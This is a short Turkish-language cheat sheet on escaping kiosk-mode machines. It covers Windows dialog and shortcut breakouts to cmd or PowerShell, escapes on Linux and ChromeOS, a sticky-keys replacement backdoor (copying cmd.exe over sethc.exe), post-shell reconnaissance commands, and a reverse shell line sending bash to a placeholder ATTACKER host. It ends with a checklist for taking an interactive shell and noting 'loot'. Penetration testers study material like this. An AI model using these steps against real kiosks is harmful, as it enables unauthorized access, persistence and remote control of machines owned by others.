Escaping from KIOSKs
hardware kiosk
Kiosk modu çoğu zaman “tam ekran uygulama + kısıtlı shell”dır. Amaç Explorer, cmd/PowerShell veya tarayıcı diyaloglarından gerçek bir komut yüzeyi açmaktır.
Metodoloji
Section titled “Metodoloji”-
Hangi shell’lerin engelli olduğunu ölç (TaskMgr, cmd, PowerShell, Run).
-
Dosya aç / kaydet / yazdır diyaloglarından dizin gezginine çık.
-
Yardım, erişilebilirlik veya güncelleme diyaloglarını breakout için kullan.
-
Elde edilen shell ile kalıcı kullanıcı bağlamında loot topla.
Windows breakout
Section titled “Windows breakout”Win+R → cmd / powershell (açıksa)Ctrl+Shift+Esc → Task Manager → File → Run new task → cmdAlt+Space / Alt+Tab ile kiosk fullscreen kırDosya Aç diyaloğu → adres çubuğuna C:\Windows\System32\cmd.exeSağ tık → Open with → Browse → cmd.exe# Dialog adres çubuğundan:powershell -nop -c whoamiDiyalog / Office / PDF
Section titled “Diyalog / Office / PDF”Yazdır → PDF / OneNote → dosya gezginiHyperlink → tarayıcı → downloads → .hta/.ps1F1 Help → Internet Explorer motoru → adres çubuğu# Sticky keys replace (fiziksel + admin öncesi disk erişimiyle)copy cmd.exe sethc.exeLinux / ChromeOS kiosk
Section titled “Linux / ChromeOS kiosk”Ctrl+Alt+F2 # TTYCtrl+Alt+T # terminal (ChromeOS crosh bazen)crosh → shell (izinli cihazlarda)xterm || gnome-terminal || /bin/bashShell sonrası
Section titled “Shell sonrası”whoamiidhostnamewhoami /all; net user; ipconfig /allbash -i >& /dev/tcp/ATTACKER/443 0>&1Checklist
Section titled “Checklist”[ ] Win/Run/TaskMgr yüzeyi denendi[ ] dosya diyaloğu breakout denendi[ ] yardım/yazdır/hyperlink denendi[ ] etkileşimli shell alındı[ ] kullanıcı bağlamında loot not edildi